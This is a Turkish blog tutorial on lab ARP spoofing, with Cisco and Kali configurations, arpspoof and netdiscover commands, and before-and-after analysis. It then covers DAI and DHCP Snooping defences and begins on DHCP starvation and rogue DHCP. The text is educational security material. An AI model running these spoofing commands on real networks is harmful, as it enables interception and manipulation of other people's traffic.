August 24, 2026
Uygulamalı Layer 2 Saldırıları: Layer2PoC #4:ARP Spoofing& Layer2PoC #5:DHCP Starvation & Rogue…
Layer 2 (Veri Bağlantı Katmanı) saldırılarını uygulamalı olarak ele aldığımız makale serimizin üçüncü yazısıyla devam ediyoruz. Serimizin…

By Taha Altın
23 min read
Layer 2 (Veri Bağlantı Katmanı) saldırılarını uygulamalı olarak ele aldığımız makale serimizin üçüncü yazısıyla devam ediyoruz. Serimizin önceki bölümünde, ağ topolojisinde döngüleri engelleyen Spanning Tree Protocol (STP) üzerindeki Root Bridge manipülasyonunu ve switch'lerin yönlendirme mekanizmasını hedef alan CAM Table Overflow saldırılarını laboratuvar ortamında incelemiştik.
- Uygulamalı Layer 2 Saldırıları: Layer2PoC #1 : VLAN Hopping
- Uygulamalı Layer 2 Saldırıları: Layer2PoC #2 : STP Manipülasyonu & Layer2PoC #3 :CAM Table Overflow
Bu makalede ise yerel ağ iletişiminin temel taşlarından olan adres çözümleme ve dinamik IP yapılandırma protokollerini mercek altına alıyoruz. İlk olarak, IP ve MAC adres eşleşmelerini manipüle ederek trafiği araya çeken ARP Spoofing (Ortadaki Adam / MitM) saldırısını; ardından yerel ağdaki meşru DHCP sunucusunun IP havuzunu tüketerek devre dışı bırakan DHCP Starvation ve ağa sahte ağ parametreleri dağıtan Rogue DHCP mekanizmalarını laboratuvar ortamında adım adım, uygulamalı olarak inceleyeceğiz.
Layer2PoC #4 — ARP Spoofing (ARP Zehirlemesi)
ARP Nedir?
Address Resolution Protocol (ARP), IPv4 mimarisinde OSI modeli Layer 3 (Ağ Katmanı) mantıksal IP adreslerini, Layer 2 (Veri Bağlantı Katmanı) fiziksel MAC adresleriyle eşleştirmek amacıyla kullanılan temel bir protokoldür.
Aynı yerel ağda (broadcast domain) bulunan iki cihaz haberleşmek istediğinde, veri paketlerinin fiziksel ortamda iletilebilmesi için Ethernet frame başlığına hedef MAC adresinin yazılması gerekir. Cihazlar sadece hedef IP adresini bildiği durumlarda trafiği doğrudan iletemez. ARP, mantıksal adres ile donanım adresi arasındaki bu dönüşümü sağlayarak Layer 2 ile Layer 3 arasındaki köprü görevini üstlenir.
ARP Nasıl Çalışır?
ARP protokolünün çalışması temel olarak istek (Request) ve yanıt (Reply) adımlarına dayanır:
- ARP Request (Broadcast): Kaynak cihaz, ağdaki belirli bir IP adresine sahip cihazın MAC adresini öğrenmek istediğinde tüm yerel ağa
FF:FF:FF:FF:FF:FFhedef adresiyle bir ARP Request paketi gönderir. Bu paketin anlamı özetle şudur: "192.168.1.1 IP adresine sahip olan cihaz, fiziksel MAC adresini bana bildirsin." - ARP Reply (Unicast): Ağdaki tüm cihazlar bu paketi alır ancak yalnızca hedef IP adresini kullanan cihaz paketi işler. Hedef cihaz, kendi MAC adresini içeren bir ARP Reply paketini doğrudan sorguyu yapan kaynak cihaza tekil (unicast) olarak iletir.
- ARP Cache (Tablosu): Cihazlar, aynı ağ içinde her paket gönderiminde sürekli broadcast trafiği oluşturmamak adına, öğrendikleri IP-MAC eşleşmelerini geçici bir süreyle kendi yerel belleklerinde bulunan ARP Cache tablosunda saklar. Belirli bir zaman aşımı (timeout) süresi dolduğunda bu kayıtlar silinir ve gerekirse yeniden sorgulanır.
ARP Cache ve Güvenlik Boşluğu Kavramı
ARP protokolü tasarlanırken güvenlik ve kimlik doğrulama (authentication) mekanizmaları dahil edilmemiştir. Bu durum protokolün doğasında iki kritik zafiyete yol açar:
- Kimlik Doğrulama Eksikliği: Cihazlar, gelen bir ARP yanıtının gerçekten o IP adresinin meşru sahibinden gelip gelmediğini doğrulayamaz.
- Durumsuzluk (Stateless) Yapısı: Çoğu işletim sistemi ve ağ cihazı, daha önceden kendisi bir ARP Request göndermemiş olsa bile, ağdan gelen herhangi bir ARP Reply paketini (Gratuitous / Unsolicited ARP) kabul eder ve yerel ARP tablosunu sorgusuz sualsiz günceller.
Saldırının Mantığı (ARP Poisoning / MitM)
ARP Spoofing saldırısının temel mantığı, kurban cihazın ve varsayılan ağ geçidinin (Default Gateway) ARP tablolarını sahte verilerle zehirleyerek ağ trafiğinin araya giren saldırgan cihaz üzerinden akmasını sağlamaktır.
Saldırgan, yerel ağda periyodik olarak sahte ARP Reply paketleri enjekte eder:
- Kurbana Gönderilen Sahte Yanıt: "Varsayılan Ağ Geçidinin (Router) IP adresi benim MAC adresimdedir."
- Ağ Geçidine Gönderilen Sahte Yanıt: "Kurbanın IP adresi benim MAC adresimdedir."
Her iki taraf da tablolarını bu bilgilerle güncellediğinde, kurban cihaz internete veya yerel ağ dışına paket göndermek istediğinde bu paketleri doğrudan saldırgana iletir. Ağ geçidi kurbana veri döndüğünde yine paketleri saldırgana teslim eder.
Saldırgan, üzerinde IP yönlendirmeyi (IP forwarding) aktif tutarak paketlerin hedefine ulaşmasını sağlar; bu sayede iletişim kopmazken, aradaki tüm trafik saldırgan tarafından dinlenebilir, kaydedilebilir veya değiştirilebilir (Man-in-the-Middle / Ortadaki Adam).
Laboratuvar Topolojisi
Not: Laboratuvar ortamındaki cihazların internet erişiminin sağlanabilmesi amacıyla Router'ın
Gi0/1arayüzü EVE-NG üzerindeki Management (Cloud0) ağına bağlanmıştır. Victim ve Kali Linux makineleri ise internet erişimini192.168.1.1adresindeki Router üzerinden gerçekleştirecektir.
Not: Yapılandırmalar, laboratuvarın gereksiz detaylarla uzamaması amacıyla yalnızca ARP Spoofing saldırısı için gerekli komutları içermektedir. Temel yönetim ve güvenlik yapılandırmaları (VTY, SSH, kullanıcı hesapları vb.) bilinçli olarak eklenmemiştir.
- Router-1 (Default Gateway) Konfigürasyonu
! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! LAN tarafındaki, Switch-1'e bağlı arayüze giriyoruz.
interface GigabitEthernet0/0
! Router'ın LAN tarafındaki IP adresini tanımlıyoruz.
ip address 192.168.1.1 255.255.255.0
! Bu arayüzü NAT için iç ağ olarak tanımlıyoruz.
ip nat inside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! Management (Cloud0) ağına bağlı arayüze giriyoruz.
interface GigabitEthernet0/1
! Cloud0 üzerinden DHCP ile IP adresi almasını sağlıyoruz.
ip address dhcp
! Bu arayüzü NAT için dış ağ olarak tanımlıyoruz.
ip nat outside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! 192.168.1.0/24 ağını NAT işlemi için tanımlıyoruz.
access-list 1 permit 192.168.1.0 0.0.0.255
! İç ağdaki cihazların Gi0/1 üzerinden PAT ile internete çıkmasını sağlıyoruz.
ip nat inside source list 1 interface GigabitEthernet0/1 overload
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
!GigabitEthernet0/1 karşısında DHCP kontrolü
show ip interface brief
-Interface IP-Address OK? Method Status Protocol
-GigabitEthernet0/0 192.168.1.1 YES manual up up
-GigabitEthernet0/1 192.168.100.134 YES DHCP up up
! Router'ın gerçek MAC adresini doğrula
show interfaces GigabitEthernet0/0
- Hardware is iGbE, address is 5000.0001.0000 (bia 5000.0001.0000)
- Internet address is 192.168.1.1/24
!default route (0.0.0.0/0) olup olmadığına bak.
show ip route
-Gateway of last resort is 192.168.100.2 to network 0.0.0.0
-S* 0.0.0.0/0 [254/0] via 192.168.100.2
- 192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.1.0/24 is directly connected, GigabitEthernet0/0
-L 192.168.1.1/32 is directly connected, GigabitEthernet0/0
- 192.168.100.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.100.0/24 is directly connected, GigabitEthernet0/1
-L 192.168.100.134/32 is directly connected, GigabitEthernet0/1
! Router'ın internet erişimini kontrol ediyoruz.
ping 8.8.8.8
-Success rate is 100 percent (5/5), round-trip min/avg/max = 78/97/102 ms! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! LAN tarafındaki, Switch-1'e bağlı arayüze giriyoruz.
interface GigabitEthernet0/0
! Router'ın LAN tarafındaki IP adresini tanımlıyoruz.
ip address 192.168.1.1 255.255.255.0
! Bu arayüzü NAT için iç ağ olarak tanımlıyoruz.
ip nat inside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! Management (Cloud0) ağına bağlı arayüze giriyoruz.
interface GigabitEthernet0/1
! Cloud0 üzerinden DHCP ile IP adresi almasını sağlıyoruz.
ip address dhcp
! Bu arayüzü NAT için dış ağ olarak tanımlıyoruz.
ip nat outside
! Arayüzü aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! 192.168.1.0/24 ağını NAT işlemi için tanımlıyoruz.
access-list 1 permit 192.168.1.0 0.0.0.255
! İç ağdaki cihazların Gi0/1 üzerinden PAT ile internete çıkmasını sağlıyoruz.
ip nat inside source list 1 interface GigabitEthernet0/1 overload
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
!GigabitEthernet0/1 karşısında DHCP kontrolü
show ip interface brief
-Interface IP-Address OK? Method Status Protocol
-GigabitEthernet0/0 192.168.1.1 YES manual up up
-GigabitEthernet0/1 192.168.100.134 YES DHCP up up
! Router'ın gerçek MAC adresini doğrula
show interfaces GigabitEthernet0/0
- Hardware is iGbE, address is 5000.0001.0000 (bia 5000.0001.0000)
- Internet address is 192.168.1.1/24
!default route (0.0.0.0/0) olup olmadığına bak.
show ip route
-Gateway of last resort is 192.168.100.2 to network 0.0.0.0
-S* 0.0.0.0/0 [254/0] via 192.168.100.2
- 192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.1.0/24 is directly connected, GigabitEthernet0/0
-L 192.168.1.1/32 is directly connected, GigabitEthernet0/0
- 192.168.100.0/24 is variably subnetted, 2 subnets, 2 masks
-C 192.168.100.0/24 is directly connected, GigabitEthernet0/1
-L 192.168.100.134/32 is directly connected, GigabitEthernet0/1
! Router'ın internet erişimini kontrol ediyoruz.
ping 8.8.8.8
-Success rate is 100 percent (5/5), round-trip min/avg/max = 78/97/102 ms- Switch-1 (Layer 2 Switch) Konfigürasyonu
! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! Laboratuvar için kullanılacak VLAN'ı oluşturuyoruz.
vlan 10
! VLAN'a açıklayıcı bir isim veriyoruz.
name LAN
! VLAN Configuration modundan çıkıyoruz.
exit
! Router, Kali Linux ve Victim makinesine bağlı portları birlikte seçiyoruz.
interface range GigabitEthernet0/0 - 2
! Portları Access moduna alıyoruz.
switchport mode access
! Seçilen portları VLAN 10'a dahil ediyoruz.
switchport access vlan 10
! Portları aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
! VLAN ve port üyeliklerini kontrol ediyoruz.
show vlan brief
-VLAN Name Status Ports
- ---- -------------------------------- --------- -------------------------------
-1 default active Gi0/3, Gi1/0, Gi1/1, Gi1/2
- Gi1/3
-10 LAN active Gi0/0, Gi0/1, Gi0/2
! Switch üzerindeki MAC adresi öğrenimini kontrol ediyoruz.
show mac address-table! Ayrıcalıklı (Privileged) moda geçiyoruz.
enable
! Global Configuration moduna geçiyoruz.
configure terminal
! Laboratuvar için kullanılacak VLAN'ı oluşturuyoruz.
vlan 10
! VLAN'a açıklayıcı bir isim veriyoruz.
name LAN
! VLAN Configuration modundan çıkıyoruz.
exit
! Router, Kali Linux ve Victim makinesine bağlı portları birlikte seçiyoruz.
interface range GigabitEthernet0/0 - 2
! Portları Access moduna alıyoruz.
switchport mode access
! Seçilen portları VLAN 10'a dahil ediyoruz.
switchport access vlan 10
! Portları aktif hale getiriyoruz.
no shutdown
! Interface Configuration modundan çıkıyoruz.
exit
! Global Configuration modundan çıkıyoruz.
end
! Yapılandırmayı kaydediyoruz.
write memory
! VLAN ve port üyeliklerini kontrol ediyoruz.
show vlan brief
-VLAN Name Status Ports
- ---- -------------------------------- --------- -------------------------------
-1 default active Gi0/3, Gi1/0, Gi1/1, Gi1/2
- Gi1/3
-10 LAN active Gi0/0, Gi0/1, Gi0/2
! Switch üzerindeki MAC adresi öğrenimini kontrol ediyoruz.
show mac address-table- PC Konfigürasyonları
---Victim-PC Yapılandırması---
! Victim-PC'e IP adresi ve varsayılan ağ geçidi atanır
ip 192.168.1.10/24 192.168.1.1
! Yapılandırma kaydedilir
save
! IP yapılandırmasını görüntüler
show ip
! Victim'dan gateway'e ping atıyoruz.
ping 192.168.1.1
!Router MAC adresini kontrol ediyoruz.
show arp (00:50:00:00:01:00)
---Kali Linux Yapılandırması---
! Ağ arayüzlerini görüntüler
ip addr
! Mevcut IP adresini temizler
sudo ip addr flush dev eth0
! Statik IP adresi atanır
sudo ip addr add 192.168.1.111/24 dev eth0
! Ağ arayüzü etkinleştirilir
sudo ip link set eth0 up
! Varsayılan ağ geçidi tanımlanır
sudo ip route replace default via 192.168.1.1 dev eth0
! IP adresinin doğru şekilde tanımlandığını kontrol ediyoruz.
ip addr show eth0
(Saldırı sonrası kontrol için MAC adresini not alınız 00:50:00:00:04:00)
!Routing tablosunu kontrol ediyoruz.
ip route
-ping komutu ile cihazların birbirleriyle erişimini kontrol etmeyi unutmayınız---Victim-PC Yapılandırması---
! Victim-PC'e IP adresi ve varsayılan ağ geçidi atanır
ip 192.168.1.10/24 192.168.1.1
! Yapılandırma kaydedilir
save
! IP yapılandırmasını görüntüler
show ip
! Victim'dan gateway'e ping atıyoruz.
ping 192.168.1.1
!Router MAC adresini kontrol ediyoruz.
show arp (00:50:00:00:01:00)
---Kali Linux Yapılandırması---
! Ağ arayüzlerini görüntüler
ip addr
! Mevcut IP adresini temizler
sudo ip addr flush dev eth0
! Statik IP adresi atanır
sudo ip addr add 192.168.1.111/24 dev eth0
! Ağ arayüzü etkinleştirilir
sudo ip link set eth0 up
! Varsayılan ağ geçidi tanımlanır
sudo ip route replace default via 192.168.1.1 dev eth0
! IP adresinin doğru şekilde tanımlandığını kontrol ediyoruz.
ip addr show eth0
(Saldırı sonrası kontrol için MAC adresini not alınız 00:50:00:00:04:00)
!Routing tablosunu kontrol ediyoruz.
ip route
-ping komutu ile cihazların birbirleriyle erişimini kontrol etmeyi unutmayınızNot: Bu laboratuvarda ARP Spoofing davranışını daha sade gösterebilmek amacıyla tüm cihazlar varsayılan VLAN 1 üzerinde çalıştırılmıştır. Farklı VLAN'lar kullanılması ARP Spoofing saldırısının çalışma mantığını değiştirmeyecektir.
**Not:**Eğer kali makinesi internete çıkıyor ancak DNS doğrulaması yapmıyorsa "sudo nano /etc/resolv.conf" ile resolv.conf dosyasını açıp içine "nameserver 8.8.8.8 ve nameserver 1.1.1.1" satırlarını ekleyin sonrasında
Ctrl+O→Enter→Ctrl+Xile dosyayı kaydedip çıkın "cat /etc/resolv.conf" ile dosyayı "ping -c 4 google.com" ile de DNS çözümlemesini kontrol edin
ARP Spoofing Saldırısının Gerçekleştirilmesi
Laboratuvar ortamı kurulduktan ve cihazlar arasındaki temel IP erişilebilirliği doğrulandıktan sonra ARP Spoofing saldırısının uygulama aşamasına geçebiliriz. Bu aşamada Kali Linux üzerinde arpspoof (veya ettercap/bettercap) aracı kullanılabilir; hedef kurbana ve varsayılan ağ geçidine (Gateway) sürekli olarak manipüle edilmiş sahte ARP Reply (Gratuitous ARP) paketleri enjekte edilecektir.
Not: Bu laboratuvarda ARP Spoofing saldırısının çalışma mantığını daha açık şekilde gösterebilmek amacıyla Bettercap yerine
arpspoofaracı tercih edilmiştir. Bettercap, MITM saldırıları için daha kapsamlı ve otomatik özellikler sunarkenarpspoof, Victim ve Gateway'e gönderilen sahte ARP bilgilerinin ayrı ayrı oluşturulmasına imkân tanıyarak ARP zehirleme sürecinin daha anlaşılır şekilde incelenmesini sağlamaktadır.
Saldırının amacı, kurban cihaz ile ağ geçidinin yerel ARP tablolarını zehirleyerek, her iki tarafın da karşı tarafın IP adresini saldırgan makinenin MAC adresiyle eşleştirmesini sağlamaktır. Paket iletiminin kesintiye uğramadan akabilmesi için saldırgan cihazda IP yönlendirme (IP Forwarding) mekanizması devreye alınacaktır. Saldırının başarılı olması durumunda, kurban ile yerel ağ/internet arasındaki tüm giden ve gelen veri akışı saldırganın arayüzü üzerinden geçecek; böylece yetkisiz trafik dinleme (sniffing), veri manipülasyonu ve hassas bilgilerin ele geçirilmesi için tam teşekküllü bir Man-in-the-Middle (MitM) konumu elde edilmiş olacaktır.
Not: Not (Wireshark Analizi ve EVE-NG İpucu):
Saldırının ağ üzerindeki etkisini ve paket paket davranışını canlı olarak analiz edebilmek için Wireshark aracını kali-Switch arasındaki hattı (
e0arayüzü) çalıştırmamız gerekmektedir.
EVE-NG arayüzünde kali üzerine sağ tıklayıp capture tıkladığınızda bilgisayarınızdaki Wireshark otomatik olarak başlatılacaktır. Wireshark açıldıktan sonra üst kısımdaki filtre alanına
arpyazarak sadece arp isteklerini görebiliriz. Eğer Windows ortamında SSH Plink Key uyuşmazlık hatası (WARNING - POTENTIAL SECURITY BREACH!) alırsanız, Windows CMD (Komut İstemi) ekranını açıp aşağıdaki komutu çalıştırarak SSH anahtarını onaylayabilirsiniz:
!EVE-NG SSH Plink anahtarını Windows üzerinde onaylamak için CMD'de çalıştırın:
"C:\Program Files\EVE-NG\plink.exe" -ssh -pw eve root@192.168.100.100!EVE-NG SSH Plink anahtarını Windows üzerinde onaylamak için CMD'de çalıştırın:
"C:\Program Files\EVE-NG\plink.exe" -ssh -pw eve root@192.168.100.100
Not: Kullanılan aracı "apt install" ile indirmeyi unutmayınız öncesinde ise "sudo apt update" çalıştırınız.
Adım 1: "sysctl net.ipv4.ip_forward" komutu ile Kali Linux üzerinde IP Forwarding durumunu kontrol ediyoruz. sonrasında Victim'ın ağ trafiğinin Kali'ye yönlendirilmesinden sonra bağlantının kesilmemesi için Kali'nin aldığı paketleri Router'a iletebilmesi gerekir. Linux sistemlerde bu işlem IP Forwarding özelliği ile gerçekleştirilir. Aktif etmek için: "__sudo sysctl -w net.ipv4.ip_forward=1" komutunu çalıştırırız Buradaki 1, Kali Linux'un kendisine gelen IPv4 paketlerini uygun route doğrultusunda başka bir arayüze/hedefe iletmesine izin verildiğini gösterir.
**Adım 2: **"sudo netdiscover -i eth0 -r 192.168.1.0/24" komutu ile yerel ağdaki cihazları ARP tabanlı olarak keşfediyoruz. Burada -i eth0 keşfin gerçekleştirileceği ağ arayüzünü, -r 192.168.1.0/24 ise taranacak IP aralığını belirtmektedir .192.168.1.1 → Gateway 192.168.1.10 → VictimPC
Adım 3: Hedefleri belirledikten sonra ARP Spoofing saldırısını çift yönlü olarak başlatıyoruz. İlk terminalde: "sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1" komutu ile VictimPC'nin Gateway'e ait ARP kaydını zehirliyoruz. ikinci terminalde "sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.10" komutu ile Gateway'in VictimPC'ye ait ARP kaydını zehirliyoruz. bu komutlarda ilk ip zehirlencek olan ip ikinci ip ise kali makinenin taklit edeceği ipdir.
Saldırı Öncesi ve Sonrası Analizi
Saldırı öncesinde VictimPC üzerinde show arp çıktısını incelediğimizde, Default Gateway olan 192.168.1.1 adresinin 50:00:00:01:00:00 MAC adresiyle eşleştirildiğini gördük. Wireshark üzerinde ise VictimPC tarafından gönderilen Who has 192.168.1.1? Tell 192.168.1.10 ARP Request paketini gözlemledik.
arpspoof ile çift yönlü ARP zehirleme işlemini başlattıktan sonra Wireshark üzerinde çok sayıda sahte ARP paketinin gönderildiğini gördük. Saldırı sonrasında VictimPC'nin ARP tablosunu tekrar kontrol ettiğimizde, 192.168.1.1 adresine ait MAC kaydının Router'ın 50:00:00:01:00:00 adresinden Kali Linux'un 00:50:00:00:04:00 adresine değiştiğini gözlemledik.
Buna rağmen VictimPC'nin Gateway'e erişiminin devam etmesi, Kali Linux üzerinde aktif ettiğimiz IP Forwarding sayesinde trafiğin Router'a iletilmeye devam ettiğini göstermektedir. Bu değişiklikler, ARP tablosunun başarılı şekilde zehirlendiğini ve Kali Linux'un VictimPC ile Gateway arasına MITM olarak konumlandığını doğrulamaktadır.
Savunma ve Alınabilecek Önlemler
Not: ARP protokolünde, alınan ARP bilgilerinin gerçekten belirtilen IP adresine sahip cihazdan gelip gelmediğini doğrulayan yerleşik bir kimlik doğrulama mekanizması bulunmaz. Bu nedenle aynı Layer 2 ağında bulunan saldırganlar sahte ARP mesajları göndererek cihazların ARP tablolarındaki IP-MAC eşleşmelerini değiştirebilir.
ARP Spoofing saldırılarına karşı Cisco switchlerde kullanılabilecek temel güvenlik mekanizmalarından biri Dynamic ARP Inspection (DAI) özelliğidir. DAI, switch üzerinden geçen ARP paketlerindeki IP-MAC eşleşmelerini kontrol ederek güvenilir olmayan ARP paketlerinin engellenmesini sağlar.
DAI bu kontrolü gerçekleştirirken genellikle DHCP Snooping Binding Table içerisindeki bilgilerden yararlanır. Bu nedenle öncelikle DHCP Snooping mekanizmasının nasıl çalıştığını anlamamız gerekir.
1. DHCP Snooping özelliğini etkinleştirin
!DHCP Snooping özelliğini aktif hale getirir.
ip dhcp snooping
!VLAN 10 üzerinde uygulanacağını belirtir.
ip dhcp snooping vlan 10!DHCP Snooping özelliğini aktif hale getirir.
ip dhcp snooping
!VLAN 10 üzerinde uygulanacağını belirtir.
ip dhcp snooping vlan 10DHCP Snooping, istemcilerin DHCP üzerinden aldığı IP adreslerini takip ederek IP adresi, MAC adresi, VLAN ve port gibi bilgileri içeren bir Binding Table oluşturabilir.
Örneğin switch, bir istemci için aşağıdaki gibi bir eşleşme öğrenebilir:
192.168.1.10 → 50:00:00:66:68:03 → VLAN 10 → Gi0/2192.168.1.10 → 50:00:00:66:68:03 → VLAN 10 → Gi0/2DAI daha sonra gelen ARP paketlerinin bu güvenilir bilgilerle uyuşup uyuşmadığını kontrol edebilir.
2. Güvenilir DHCP trafiğinin geldiği portu Trusted olarak tanımlayın
DHCP Snooping etkinleştirildiğinde switch portları varsayılan olarak Untrusted kabul edilir.
Gerçek DHCP sunucusuna doğru giden veya meşru DHCP sunucusundan gelen cevapların switch'e ulaştığı uplink portu bu nedenle Trusted olarak tanımlanır.
Örneğin :
! Router'a bağlı GigabitEthernet0/0 portu Trusted olarak işaretlenebilir.
interface GigabitEthernet0/0
ip dhcp snooping trust! Router'a bağlı GigabitEthernet0/0 portu Trusted olarak işaretlenebilir.
interface GigabitEthernet0/0
ip dhcp snooping trustKali ve Victim gibi istemcilerin bağlı olduğu access portlar ise Untrusted bırakılır.
Basit olarak:
Router / DHCP
│
│
Gi0/0 [TRUSTED]
│
Switch
/ \
Gi0/1 Gi0/2
[UNTRUSTED] [UNTRUSTED]
│ │
Kali VictimRouter / DHCP
│
│
Gi0/0 [TRUSTED]
│
Switch
/ \
Gi0/1 Gi0/2
[UNTRUSTED] [UNTRUSTED]
│ │
Kali VictimBuradaki Trusted, porta bağlı cihazın genel anlamda "güvenli cihaz" olduğu anlamına gelmez. Yalnızca DHCP Snooping açısından DHCP sunucu mesajlarının gelmesine izin verilen yönü ifade eder.
3. Dynamic ARP Inspection özelliğini etkinleştirin
DHCP Snooping yapılandırıldıktan sonra VLAN 10 üzerinde DAI etkinleştirilebilir:
ip arp inspection vlan 10ip arp inspection vlan 10DAI aktif olduğunda switch, Untrusted portlardan gelen ARP paketlerini incelemeye başlar.
Örneğin DHCP Snooping Binding Table üzerinde: 192.168.1.1 → ROUTER_MAC 192.168.1.10 → VICTIM_MAC
eşleşmeleri bulunduğunu düşünelim.
Kali sahte bilgiyi göndermeye çalışırsa:192.168.1.1 → KALI_MAC
DAI bu bilginin güvenilir kayıtla uyuşmadığını tespit ederek ARP paketini engelleyebilir.
Böylece saldırganın Victim'a: "192.168.1.1 benim MAC adresimde."
şeklinde sahte ARP bilgisi göndererek Gateway'in kimliğine bürünmesinin önüne geçilebilir.
4. Statik IP Kullanımında ARP ACL Tanımlayın
DHCP Snooping, IP-MAC eşleşmelerini cihazların DHCP üzerinden gerçekleştirdiği işlemleri takip ederek öğrenir. Ancak bu laboratuvarda Router, VictimPC ve Kali Linux üzerinde statik IP adresleri kullandığımız için bu cihazlara ait IP-MAC eşleşmeleri DHCP Snooping Binding Table içerisinde otomatik olarak oluşmaz.
Bu durumda Dynamic ARP Inspection (DAI) tarafından kullanılacak geçerli IP-MAC eşleşmeleri ARP ACL (ARP Access Control List) ile manuel olarak tanımlanabilir.
Örneğin laboratuvarımızda Router'ın gerçek bilgileri: IP Adresi : 192.168.1.1 MAC Adresi: 50:00:00:01:00:00
!Router için geçerli IP-MAC eşleşmesini tanımlayan bir ARP ACL oluşturuyoruz
arp access-list ARP-GUVENLI
permit ip host 192.168.1.1 mac host 5000.0001.0000
!Ardından oluşturduğumuz ARP ACL'yi DAI tarafından kullanılacak şekilde VLAN 10'a uyguluyoruz
ip arp inspection filter ARP-GUVENLI vlan 10
!Yapılandırmanın ardından DAI durumunu kontrol ediyoruz
show ip arp inspection vlan 10
!Yapılandırmanın ardından DAI istatistiklerini kontrol ediyoruz
show ip arp inspection statistics vlan 10!Router için geçerli IP-MAC eşleşmesini tanımlayan bir ARP ACL oluşturuyoruz
arp access-list ARP-GUVENLI
permit ip host 192.168.1.1 mac host 5000.0001.0000
!Ardından oluşturduğumuz ARP ACL'yi DAI tarafından kullanılacak şekilde VLAN 10'a uyguluyoruz
ip arp inspection filter ARP-GUVENLI vlan 10
!Yapılandırmanın ardından DAI durumunu kontrol ediyoruz
show ip arp inspection vlan 10
!Yapılandırmanın ardından DAI istatistiklerini kontrol ediyoruz
show ip arp inspection statistics vlan 10Böylece oluşturduğumuz kayıt temel olarak şu bilgiyi ifade eder: 192.168.1.1 → 50:00:00:01:00:00
Bu yapılandırmadan sonra DAI, ARP paketlerini denetlerken tanımladığımız statik IP-MAC eşleşmesini de dikkate alabilir.
Örneğin Kali Linux saldırı sırasında VictimPC'ye sahte bir ARP bilgisi göndermeye çalışırsa ARP ACL içerisinde 192.168.1.1 adresinin geçerli MAC adresini:50:00:00:01:00:00 olarak tanımladığımız için bu eşleşmeyle uyuşmayan ARP paketleri DAI tarafından geçersiz olarak değerlendirilebilir ve engellenebilir. Aynı yöntem statik IP kullanan diğer güvenilir cihazlar için de uygulanabilir. Örneğin VictimPC'nin IP ve MAC eşleşmesi de ACL içerisine eklenebilir.
Bu sayede statik IP kullanılan ağlarda da ARP ACL ile güvenilir IP-MAC eşleşmeleri tanımlanarak Dynamic ARP Inspection mekanizmasının ARP Spoofing saldırılarına karşı kullanılması sağlanabilir.
Bunlara ek olarak ağın VLAN'lara bölünerek Layer 2 broadcast domainlerinin küçültülmesi, istemciler arasında port/client isolation uygulanması ve ARP trafiğinin izlenmesi, ARP Spoofing saldırılarının gerçekleştirilebileceği alanın ve saldırının etkisinin azaltılmasına yardımcı olabilir.
Layer2PoC #5:DHCP Starvation & Rogue DHCP
DHCP Nedir?
Dynamic Host Configuration Protocol (DHCP), ağ üzerindeki istemcilere IP adresi, subnet mask, varsayılan ağ geçidi (Default Gateway) ve DNS sunucusu gibi temel ağ yapılandırmalarını otomatik olarak sağlayan bir protokoldür.
DHCP kullanılmayan bir ağda bu bilgilerin her cihaza manuel olarak tanımlanması gerekir. Özellikle çok sayıda istemcinin bulunduğu kurumsal ağlarda bu yöntem hem yönetim yükünü artırır hem de hatalı veya çakışan IP yapılandırmalarına neden olabilir.
DHCP sayesinde istemci ağa bağlandığında gerekli ağ bilgilerini DHCP sunucusundan otomatik olarak alabilir.
DHCP Nasıl Çalışır?
DHCP üzerinden IP adresi alınması temel olarak DORA adı verilen dört aşamalı süreç üzerinden gerçekleşir:
- DHCP Discover: İstemcinin henüz geçerli bir IP adresi bulunmadığından ağdaki DHCP sunucularını bulmak amacıyla broadcast olarak DHCP Discover mesajı gönderir.
- DHCP Offer: Discover mesajını alan DHCP sunucusu, kullanılabilir adres havuzundan istemciye uygun bir IP adresi seçerek DHCP Offer mesajıyla teklif eder. Bu mesaj içerisinde IP adresinin yanı sıra subnet mask, Default Gateway ve DNS gibi bilgiler de bulunabilir.
- DHCP Request: İstemci, kullanmak istediği teklifi seçerek DHCP Request mesajı gönderir ve ilgili IP adresini talep ettiğini bildirir.
- DHCP ACK: DHCP sunucusu talebi onaylayarak DHCP ACK mesajını gönderir. Böylece IP adresi belirli bir kira süresi (lease time) boyunca istemciye tahsis edilir.
Süreç özetle:
Client DHCP Server
| |
| -------- DHCP Discover --------> |
| <--------- DHCP Offer ---------- |
| -------- DHCP Request ---------> |
| <---------- DHCP ACK ----------- |
| |Client DHCP Server
| |
| -------- DHCP Discover --------> |
| <--------- DHCP Offer ---------- |
| -------- DHCP Request ---------> |
| <---------- DHCP ACK ----------- |
| |şeklinde gerçekleşir.
DHCP'nin Güvenlik Açısından Temel Problemi
DHCP protokolünün normal çalışma mantığında istemcinin kendisine cevap veren DHCP sunucusunun gerçekten ağ yöneticisi tarafından yetkilendirilmiş sunucu olduğunu doğrulayacağı yerleşik bir mekanizma bulunmaz.
Benzer şekilde DHCP sunucusu açısından da ağa gelen her yeni DHCP isteğinin mutlaka farklı ve meşru bir fiziksel istemci tarafından oluşturulduğunu varsaymak güvenli değildir.
Bu durum iki önemli Layer 2 saldırısının ortaya çıkmasına imkân sağlar:
- DHCP Starvation
- Rogue DHCP
Bu iki saldırı ayrı ayrı gerçekleştirilebilmekle birlikte birlikte kullanıldıklarında daha etkili bir saldırı senaryosu oluşturabilir.
DHCP Starvation Saldırısının Mantığı
